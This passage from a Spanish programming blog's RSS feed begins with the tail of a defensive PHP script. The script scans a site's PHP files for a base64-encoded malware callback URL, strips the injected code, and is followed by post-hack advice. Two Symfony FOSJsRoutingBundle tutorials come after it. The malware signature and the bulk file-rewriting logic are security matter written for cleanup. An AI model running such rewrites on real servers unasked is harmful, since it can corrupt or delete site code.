			<span style="color: #000088;">$file_handle</span> <span style="color: #339933;">=</span> <span style="color: #990000;">fopen</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$path</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;/&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$file</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'r+'</span><span style="color: #009900;">&#41;</span> or <span style="color: #009900;">&#40;</span><span style="color: #000088;">$exit</span><span style="color: #339933;">=</span><span style="color: #0000ff;">'1'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">filesize</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$path</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;/&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$file</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&gt;</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
				<span style="color: #000088;">$a</span> <span style="color: #339933;">=</span> <span style="color: #990000;">fread</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$file_handle</span><span style="color: #339933;">,</span> <span style="color: #990000;">filesize</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$path</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;/&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$file</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
				<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">strpos</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$a</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;aHR0cDovL2hvdGxvZ3VwZGF0ZS5jb20vc3RhdC9zdGF0LnBocA&quot;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&gt;</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
					<span style="color: #000088;">$startcontent</span> <span style="color: #339933;">=</span> <span style="color: #990000;">substr</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$a</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span> <span style="color: #990000;">stripos</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$a</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;if (!isset(<span style="color: #000099; font-weight: bold;">\$</span>sRetry))&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
					<span style="color: #000088;">$middlecontent</span> <span style="color: #339933;">=</span> <span style="color: #990000;">substr</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$a</span><span style="color: #339933;">,</span> <span style="color: #990000;">stripos</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$a</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;if (!isset(<span style="color: #000099; font-weight: bold;">\$</span>sRetry))&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
					<span style="color: #000088;">$endcontent</span> <span style="color: #339933;">=</span> <span style="color: #990000;">substr</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$middlecontent</span><span style="color: #339933;">,</span> <span style="color: #990000;">stripos</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$middlecontent</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;?&gt;&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
					<span style="color: #666666; font-style: italic;">/*
					echo &quot;&lt;textarea cols=\&quot;125\&quot; rows=\&quot;25\&quot;&gt;&quot;.$startcontent.&quot;&lt;/textarea&gt;&lt;br&gt;&quot;;
					echo &quot;&lt;textarea cols=\&quot;125\&quot; rows=\&quot;25\&quot;&gt;&quot;.$middlecontent.&quot;&lt;/textarea&gt;&lt;br&gt;&quot;;
					echo &quot;&lt;textarea cols=\&quot;125\&quot; rows=\&quot;25\&quot;&gt;&quot;.$endcontent.&quot;&lt;/textarea&gt;&lt;br&gt;&quot;;
					$content = str_replace(&quot;echo \$sResult; // Statistic code end&quot;, &quot;// echo \$sResult; // Statistic code end&quot;, $a);
					echo &quot;&lt;textarea cols=\&quot;45\&quot; rows=\&quot;6\&quot;&gt;&quot;.$content.&quot;&lt;/textarea&gt;&quot;;
					*/</span>
					<span style="color: #000088;">$content</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$startcontent</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot; // REMOVED HACKER SHIT<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$endcontent</span><span style="color: #339933;">;</span>
<span style="color: #666666; font-style: italic;">//					echo &quot;&lt;textarea cols=\&quot;125\&quot; rows=\&quot;25\&quot;&gt;&quot;.$content.&quot;&lt;/textarea&gt;&lt;br&gt;&quot;;</span>
					<span style="color: #990000;">ftruncate</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$file_handle</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
					<span style="color: #990000;">fwrite</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$file_handle</span><span style="color: #339933;">,</span> <span style="color: #000088;">$content</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
					<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;FIXED - &quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$dir</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&lt;br&gt;&quot;</span><span style="color: #339933;">;</span>
<span style="color: #666666; font-style: italic;">//					exit();</span>
				<span style="color: #009900;">&#125;</span>
			<span style="color: #009900;">&#125;</span>
			<span style="color: #990000;">fclose</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$file_handle</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">is_dir</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$dir</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #000088;">$file</span> <span style="color: #339933;">!=</span> <span style="color: #0000ff;">'.'</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #000088;">$file</span> <span style="color: #339933;">!=</span><span style="color: #0000ff;">'..'</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #990000;">substr</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$file</span><span style="color: #339933;">,</span> <span style="color: #339933;">-</span><span style="color: #cc66cc;">4</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">!=</span> <span style="color: #0000ff;">&quot;.php&quot;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;No PHP files found for &quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$dir</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&lt;br&gt;&quot;</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
		<span style="color: #000088;">$count</span><span style="color: #339933;">++;</span>
	<span style="color: #009900;">&#125;</span>
	<span style="color: #990000;">closedir</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$dir_handle</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
list_files<span style="color: #009900;">&#40;</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'DOCUMENT_ROOT'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p>- Change your FTP, mysql and every goddam password<br />
- Update your wordpress, plugins and themes to their last version<br />
- Update your FTP client and AVOID PASSWORD AUTO-REMEMBERING!<br />
- Take a look at your logs</p>
<p>(Thanks to <a href="http://www.jexanalytics.com/2012/02/wordpress-sites-all-hacked/">this guy</a> for the additional information)</p>
<p>Related posts:<ol>
<li><a href='http://www.leccionespracticas.com/informatica-web/protect-site-with-password-using-htaccess/' rel='bookmark' title='Protect site with password using .htaccess'>Protect site with password using .htaccess</a></li>
<li><a href='http://www.leccionespracticas.com/informatica-web/acceso-apache-con-ldap-y-con-fichero-de-contrasenas/' rel='bookmark' title='Protect your site with password to ldap users and not-ldap (privileged) users'>Protect your site with password to ldap users and not-ldap (privileged) users</a></li>
<li><a href='http://www.leccionespracticas.com/informatica-sistemas-y-servidores/configure-php-imap-redhat-solved/' rel='bookmark' title='Configure php-imap redhat [solved]'>Configure php-imap redhat [solved]</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.leccionespracticas.com/informatica-web/hacked-site-apologies/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>FOSJsRoutingBundle: ejemplo paso por paso</title>
		<link>http://www.leccionespracticas.com/informatica-web/symfony-informatica-web/fosjsroutingbundle-ejemplo-paso-por-paso/</link>
		<comments>http://www.leccionespracticas.com/informatica-web/symfony-informatica-web/fosjsroutingbundle-ejemplo-paso-por-paso/#comments</comments>
		<pubDate>Wed, 18 Apr 2012 17:51:59 +0000</pubDate>
		<dc:creator>Miguel</dc:creator>
				<category><![CDATA[Symfony]]></category>
		<category><![CDATA[FOSJsRoutingBundle]]></category>
		<category><![CDATA[route]]></category>
		<category><![CDATA[routing]]></category>
		<category><![CDATA[symfony]]></category>
		<category><![CDATA[twig]]></category>

		<guid isPermaLink="false">http://www.leccionespracticas.com/?p=2054</guid>
		<description><![CDATA[Ayer os contaba cómo instalar FOSJsRoutingBundle en WAMP (Windows) y hoy veremos un ejemplo de cómo usar FOSJsRoutingBundle en nuestras plantillas TWIG. Hoy os traigo un nuevo minitutorial sobre el tema de moda estos días, Symfony. Propósito Aprovecharé el gestor de tareas que construimos con Symfony ayer para incluir una nueva funcionalidad, que será borrar [...]
Related posts:<ol>
<li><a href='http://www.leccionespracticas.com/informatica-web/symfony-como-instalar-un-bundle/' rel='bookmark' title='Symfony: cómo instalar un Bundle (FOSJsRoutingBundle)'>Symfony: cómo instalar un Bundle (FOSJsRoutingBundle)</a></li>
<li><a href='http://www.leccionespracticas.com/informatica-web/symfony-create-and-update-an-entity-using-doctrine-full-example/' rel='bookmark' title='Symfony: create and update an Entity using doctrine [FULL EXAMPLE]'>Symfony: create and update an Entity using doctrine [FULL EXAMPLE]</a></li>
<li><a href='http://www.leccionespracticas.com/cds-invenio/cds-invenio-bibtask-error-log/' rel='bookmark' title='CDS-Invenio: bibtask error log'>CDS-Invenio: bibtask error log</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>Ayer os contaba <a href="">cómo instalar FOSJsRoutingBundle en WAMP (Windows)</a> y hoy veremos un ejemplo de cómo usar <a href="http://www.leccionespracticas.com/?s=FOSJsRoutingBundle&#038;search=">FOSJsRoutingBundle</a> en nuestras plantillas <a href="http://www.leccionespracticas.com/?s=TWIG&#038;search=">TWIG</a>. </p>
<p>Hoy os traigo un nuevo minitutorial sobre el tema de moda estos días, <a href="http://www.leccionespracticas.com/informatica-web/symfony-informatica-web/">Symfony</a>.</p>
<h2>Propósito</h2>
<p>Aprovecharé <a href="http://www.leccionespracticas.com/informatica-web/symfony-create-and-update-an-entity-using-doctrine-full-example/">el gestor de tareas que construimos con Symfony ayer</a> para <strong>incluir una nueva funcionalidad</strong>, que será <strong>borrar tareas</strong>.</p>
<h2>Sin FOSJsRoutingBundle</h2>
<p>Realmente, podríamos proceder sin utilizar <code>FOSJsRoutingBundle</code>. Recordemos que <code>TWIG </code>nos permite generar rutas con parámetros. </p>
<p><strong>Veamos cómo hacerlo SIN <code>FOSJsRoutingBundle</code></strong>.</p>
<p>Sería tan sencillo como crear una nueva ruta en <code>routing.yml</code>:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">cursoTaskBundle_task_delete:
    pattern: <span style="color: #000000; font-weight: bold;">/</span><span style="color: #7a0874; font-weight: bold;">&#123;</span><span style="color: #c20cb9; font-weight: bold;">id</span><span style="color: #7a0874; font-weight: bold;">&#125;</span><span style="color: #000000; font-weight: bold;">/</span>delete
    defaults: <span style="color: #7a0874; font-weight: bold;">&#123;</span> _controller: cursoTaskBundle:Default:delete, <span style="color: #c20cb9; font-weight: bold;">id</span>: <span style="color: #000000;">0</span><span style="color: #7a0874; font-weight: bold;">&#125;</span>
    requirements:
        <span style="color: #c20cb9; font-weight: bold;">id</span>: \d+</pre></div></div>

<p>La acción necesaria en el controlador (<code>DefaultController.php</code>), que contiene la invocación a la función de <a href="http://www.leccionespracticas.com/?s=Doctrine&#038;search=">Doctrine</a> que borra un elemento de la BD.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> deleteAction<span style="color: #009900;">&#40;</span><span style="color: #000088;">$id</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
<span style="color: #666666; font-style: italic;">// borrado de tarea de la BD</span>
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #000088;">$id</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">throw</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">createNotFoundException</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'No se puede borrar una tarea si no se especifica su ID'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
	<span style="color: #000088;">$em</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">getDoctrine</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">getEntityManager</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$task</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$em</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">getRepository</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'cursoTaskBundle:Task2'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">find</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$id</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #000088;">$task</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">throw</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">createNotFoundException</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'No se ha encontrado la tarea '</span><span style="color: #339933;">.</span><span style="color: #000088;">$id</span><span style="color: #339933;">.</span><span style="color: #0000ff;">' en la BD'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #666666; font-style: italic;">// task exists</span>
	<span style="color: #666666; font-style: italic;">// so, delete it</span>
	<span style="color: #000088;">$em</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">remove</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$task</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
	<span style="color: #000088;">$em</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">flush</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
&nbsp;
	<span style="color: #b1b100;">return</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">render</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'cursoTaskBundle:Default:success.html.twig'</span><span style="color: #339933;">,</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span>
		<span style="color: #0000ff;">'message'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">&quot;Tarea borrada correctamente&quot;</span>
	<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>Y crear las rutas en <code>TWIG</code> (editaremos la plantilla <code>show.html.twig</code> que construimos en el ejemplo mencionado anteriormente). Atención a la línea 16:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
</pre></td><td class="code"><pre class="html" style="font-family:monospace;">{% block message %}
	{% if tasks is defined %}
		&lt;table style=&quot;border-spacing: 5px; margin-right: 5px; border-collapse: separate;&quot;&gt;
			&lt;tr style=&quot;font-weight: bold;&quot;&gt;
				&lt;td&gt;&lt;/td&gt;&lt;!-- editar --&gt;
				&lt;td&gt;&lt;/td&gt;&lt;!-- borrar --&gt;
				&lt;td&gt;NOMBRE&lt;/td&gt;
				&lt;td&gt;FECHA&lt;/td&gt;
				&lt;td&gt;DESCRIPCI&amp;Oacute;N&lt;/td&gt;
				&lt;td&gt;URL&lt;/td&gt;
&nbsp;
			&lt;/tr&gt;
		{% for tarea in tasks %}
			&lt;tr style=&quot;font-size: 0.8em&quot;&gt;
				&lt;td&gt;&lt;a href=&quot; {{ path('cursoTaskBundle_task_edit', { 'id' : tarea.id } ) }}&quot; &gt;edit&lt;/a&gt;&lt;/td&gt;&lt;!-- editar --&gt;
				&lt;td&gt;&lt;a href=&quot; {{ path('cursoTaskBundle_task_delete', { 'id' : tarea.id } ) }}&quot; &gt;edit&lt;/a&gt;&lt;/td&gt;&lt;!-- borrar --&gt;
				&lt;td&gt;{{ tarea.task }}&lt;/td&gt;
				&lt;td&gt;{{ tarea.dueDate|date(&quot;m/d/Y&quot;)  }}&lt;/td&gt;
				&lt;td&gt;{{ tarea.description }}&lt;/td&gt;
				&lt;td&gt;{{ tarea.url }}&lt;/td&gt;
&nbsp;
			&lt;/tr&gt;
		{% endfor %}
		&lt;/table&gt;
	{% else %}
		&lt;p&gt;No hay tareas. Puedes &lt;a href=&quot;{{ path('cursoTaskBundle_task_new2') }}&quot;&gt;Insertar una nueva tarea&lt;/a&gt;&lt;/p&gt;
	{% endif %}
&nbsp;
{% endblock message %}</pre></td></tr></table></div>

<p>Y ya estaría. El usuario, al pulsar sobre &#8220;delete&#8221;, sería redirigido a <code>curso/task/(id)/delete</code>, que borraría la tarea identificada por <code>(id)</code>. Si vuestro usuario es de click fácil, como yo, esto podría causar el borrado involuntario de una tarea. Nunca está de más pedir una confirmación al borrado. En este caso vamos a construirla en Javascript y el ejemplo servirá para ver cómo utilizar FOSJsRoutingBundle.</p>
<h2>Con FOSJsRoutingBundle</h2>
<p>Deseamos que, cuando el usuario pulse sobre el link de &#8220;borrar tarea&#8221;, se le pregunte si está seguro de que desea hacerlo.</p>
<p>El primer paso será modificar nuestra plantilla en TWIG añadiendo los javascripts necesarios para que FOSJsRoutingBundle funcione, para lo cual reescribiremos el block script que definimos en nuestro primer ejemplo. </p>
<p>Además de incluir los JS (líneas 5 y 6), debemos crear una nueva función que genere un cuádro de diálogo tipo Sí/No. En caso de que el usuario pulse sí, habrá que redirigirle a la página que borra esa tarea (<code>url_borrar</code>). Es en la generación de esta <code>url_borrar</code> donde interviene FOSJsRoutingBundle (líneas 13 a 19)</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
</pre></td><td class="code"><pre class="html" style="font-family:monospace;">{% block script %}
		{% javascripts
			'@cursoe5Bundle/Resources/public/js/*'
		%}
		&lt;script type=&quot;text/javascript&quot; src=&quot;{{ asset('bundles/fosjsrouting/js/router.js') }}&quot;&gt;&lt;/script&gt;
		&lt;script type=&quot;text/javascript&quot; src=&quot;{{ path('fos_js_routing_js', {&quot;callback&quot;: &quot;fos.Router.setData&quot;}) }}&quot;&gt;&lt;/script&gt;
		{% endjavascripts %}
&nbsp;
	&lt;script type=&quot;text/javascript&quot;&gt;
	//&lt;![CDATA[	
&nbsp;
		// Sacar un dialogo de confirmacion y redireccionar al borrado, si procede.
		function estasSeguro(id){
			var url_borrar = Routing.generate('cursoTaskBundle_task_delete',{ &quot;id&quot;: id });
			//alert(url_borrar);
			if (confirm(&quot;Seguro que deseas borrar?&quot;)){
				window.location = url_borrar;
			}
		}
&nbsp;
	//]]&gt; 
	&lt;/script&gt;
{% endblock script %}</pre></td></tr></table></div>

<p>La ruta que borra las tareas es <code>cursoTaskBundle_task_delete</code>. <strong>Para poder acceder a una ruta vía FOSJsRoutingBundle tenemos que indicarlo de forma explícita en el fichero de rutas</strong> (<code>routing.yml</code>). Esto se conoce como <em>exponer una ruta</em>. Atención a las líneas 4 y 5:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
</pre></td><td class="code"><pre class="bash" style="font-family:monospace;">cursoTaskBundle_task_delete:
    pattern: <span style="color: #000000; font-weight: bold;">/</span><span style="color: #7a0874; font-weight: bold;">&#123;</span><span style="color: #c20cb9; font-weight: bold;">id</span><span style="color: #7a0874; font-weight: bold;">&#125;</span><span style="color: #000000; font-weight: bold;">/</span>delete
    defaults: <span style="color: #7a0874; font-weight: bold;">&#123;</span> _controller: cursoTaskBundle:Default:delete, <span style="color: #c20cb9; font-weight: bold;">id</span>: <span style="color: #000000;">0</span><span style="color: #7a0874; font-weight: bold;">&#125;</span>
    options: 
        expose: <span style="color: #c20cb9; font-weight: bold;">true</span>
    requirements:
        <span style="color: #c20cb9; font-weight: bold;">id</span>: \d+</pre></td></tr></table></div>

<p>De no hacer esto, obtendríamos el error &#8220;<code>Route 'cursoTaskBundle_task_delete does not exist</code>&#8221; (lo veríamos en la consola de errores de javascript de nuestro navegador)</p>
<p>Y ya solo nos faltaría modificar show.html.twig de forma que al pulsar el enlace de borrar, se ejecute la función <code>estasSeguro()</code> que definimos anteriormente.</p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">{% block message %}
	{% if tasks is defined %}
		&lt;table style=&quot;border-spacing: 5px; margin-right: 5px; border-collapse: separate;&quot;&gt;
			&lt;tr style=&quot;font-weight: bold;&quot;&gt;
				&lt;td&gt;&lt;/td&gt;&lt;!-- editar --&gt;
				&lt;td&gt;&lt;/td&gt;&lt;!-- borrar --&gt;
				&lt;td&gt;NOMBRE&lt;/td&gt;
				&lt;td&gt;FECHA&lt;/td&gt;
				&lt;td&gt;DESCRIPCI&amp;Oacute;N&lt;/td&gt;
				&lt;td&gt;URL&lt;/td&gt;
&nbsp;
			&lt;/tr&gt;
		{% for tarea in tasks %}
			&lt;tr style=&quot;font-size: 0.8em&quot;&gt;
				&lt;td&gt;&lt;a href=&quot; {{ path('cursoTaskBundle_task_edit', { 'id' : tarea.id } ) }}&quot; &gt;edit&lt;/a&gt;&lt;/td&gt;&lt;!-- editar --&gt;
				&lt;td&gt;&lt;a href=&quot;#&quot; onclick=&quot;(estasSeguro({{ tarea.id }}))&quot;&gt;delete&lt;/a&gt;&lt;/td&gt;&lt;!-- borrar --&gt;
				&lt;td&gt;{{ tarea.task }}&lt;/td&gt;
				&lt;td&gt;{{ tarea.dueDate|date(&quot;m/d/Y&quot;)  }}&lt;/td&gt;
				&lt;td&gt;{{ tarea.description }}&lt;/td&gt;
				&lt;td&gt;{{ tarea.url }}&lt;/td&gt;
&nbsp;
			&lt;/tr&gt;
		{% endfor %}
		&lt;/table&gt;
	{% else %}
		&lt;p&gt;No hay tareas. Puedes &lt;a href=&quot;{{ path('cursoTaskBundle_task_new2') }}&quot;&gt;Insertar una nueva tarea&lt;/a&gt;&lt;/p&gt;
	{% endif %}
&nbsp;
{% endblock message %}</pre></div></div>

<p>Y ya tendremos nuestro gestor de tareas con funcionalidad completa: insertar, editar y borrar.</p>
<p><a href="http://www.leccionespracticas.com/informatica-web/symfony-informatica-web/fosjsroutingbundle-ejemplo-paso-por-paso/attachment/fosjsroutingbundle-example/" rel="attachment wp-att-2055"><img src="http://www.leccionespracticas.com/wp-content/uploads/2012/04/FOSJsRoutingBundle-example-300x208.jpg" alt="" title="FOSJsRoutingBundle-example" width="300" height="208" class="alignnone size-medium wp-image-2055" /></a></p>
<p>Si deseamos exponer una lista de rutas más larga, podemos editar directamente <code>config.yml</code>:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #666666; font-style: italic;"># app/config/config.yml</span>
fos_js_routing:
    routes_to_expose: <span style="color: #7a0874; font-weight: bold;">&#91;</span> route_1, route_2, ... <span style="color: #7a0874; font-weight: bold;">&#93;</span></pre></div></div>

<p>Related posts:<ol>
<li><a href='http://www.leccionespracticas.com/informatica-web/symfony-como-instalar-un-bundle/' rel='bookmark' title='Symfony: cómo instalar un Bundle (FOSJsRoutingBundle)'>Symfony: cómo instalar un Bundle (FOSJsRoutingBundle)</a></li>
<li><a href='http://www.leccionespracticas.com/informatica-web/symfony-create-and-update-an-entity-using-doctrine-full-example/' rel='bookmark' title='Symfony: create and update an Entity using doctrine [FULL EXAMPLE]'>Symfony: create and update an Entity using doctrine [FULL EXAMPLE]</a></li>
<li><a href='http://www.leccionespracticas.com/cds-invenio/cds-invenio-bibtask-error-log/' rel='bookmark' title='CDS-Invenio: bibtask error log'>CDS-Invenio: bibtask error log</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.leccionespracticas.com/informatica-web/symfony-informatica-web/fosjsroutingbundle-ejemplo-paso-por-paso/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Symfony: cómo instalar un Bundle (FOSJsRoutingBundle)</title>
		<link>http://www.leccionespracticas.com/informatica-web/symfony-como-instalar-un-bundle/</link>
		<comments>http://www.leccionespracticas.com/informatica-web/symfony-como-instalar-un-bundle/#comments</comments>
		<pubDate>Tue, 17 Apr 2012 19:43:31 +0000</pubDate>
		<dc:creator>Miguel</dc:creator>
				<category><![CDATA[Informática - web]]></category>
		<category><![CDATA[Symfony]]></category>
		<category><![CDATA[bundle]]></category>
		<category><![CDATA[FOSJsRoutingBundle]]></category>
		<category><![CDATA[install]]></category>
		<category><![CDATA[symfony]]></category>

		<guid isPermaLink="false">http://www.leccionespracticas.com/?p=2040</guid>
		<description><![CDATA[Es algo que se pregunta mucha gente que empieza con Symfony: ¿cómo instalar un bundle nuevo? En este ejemplo voy a indicar los pasos para instalar FOSJsRoutingBundle (que nos ayuda a crear rutas desde javascript). Mi instalación base de Symfony está en W:\WEB\wamp2.2\www\Symfony\ Si conoces GIT y lo usas, instalar un Bundle es tan simple [...]
Related posts:<ol>
<li><a href='http://www.leccionespracticas.com/informatica-web/symfony-informatica-web/symfony-disable-the-web-debug-toolbar-in-prod-environment/' rel='bookmark' title='Symfony: disable the web debug toolbar in PROD environment [SOLVED]'>Symfony: disable the web debug toolbar in PROD environment [SOLVED]</a></li>
<li><a href='http://www.leccionespracticas.com/informatica-web/solved-symfony-assets-an-exception-has-been-thrown-during-the-rendering-of-a-template-route-_assetic_xxx-does-not-exist/' rel='bookmark' title='[SOLVED] Symfony Assets: &#8220;An exception has been thrown during the rendering of a template (&#8220;Route &#8220;_assetic_XXX&#8221; does not exist.&#8221;)'>[SOLVED] Symfony Assets: &#8220;An exception has been thrown during the rendering of a template (&#8220;Route &#8220;_assetic_XXX&#8221; does not exist.&#8221;)</a></li>
<li><a href='http://www.leccionespracticas.com/informatica-web/symfony-yui-css-compression-with-assetic-on-windows-wamp-systems-solved/' rel='bookmark' title='Symfony: Yui CSS compression with Assetic on Windows (WAMP) systems [SOLVED]'>Symfony: Yui CSS compression with Assetic on Windows (WAMP) systems [SOLVED]</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>Es algo que se pregunta mucha gente que empieza con <a href="http://www.leccionespracticas.com/?s=symfony&#038;search=">Symfony</a>: <strong>¿cómo instalar un bundle nuevo? </strong></p>
<p>En este ejemplo voy a indicar los pasos para instalar <a href="https://github.com/FriendsOfSymfony/FOSJsRoutingBundle">FOSJsRoutingBundle</a> (que nos ayuda a crear rutas desde javascript). Mi instalación base de Symfony está en <code>W:\WEB\wamp2.2\www\Symfony\</code></p>
<p>Si conoces GIT y lo usas, <strong>instalar un Bundle</strong> es tan simple como:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">git</span> submodule add <span style="color: #c20cb9; font-weight: bold;">git</span>:<span style="color: #000000; font-weight: bold;">//</span>github.com<span style="color: #000000; font-weight: bold;">/</span>FriendsOfSymfony<span style="color: #000000; font-weight: bold;">/</span>FOSJsRoutingBundle.git vendor<span style="color: #000000; font-weight: bold;">/</span>bundles<span style="color: #000000; font-weight: bold;">/</span>FOS<span style="color: #000000; font-weight: bold;">/</span>JsRoutingBundle</pre></div></div>

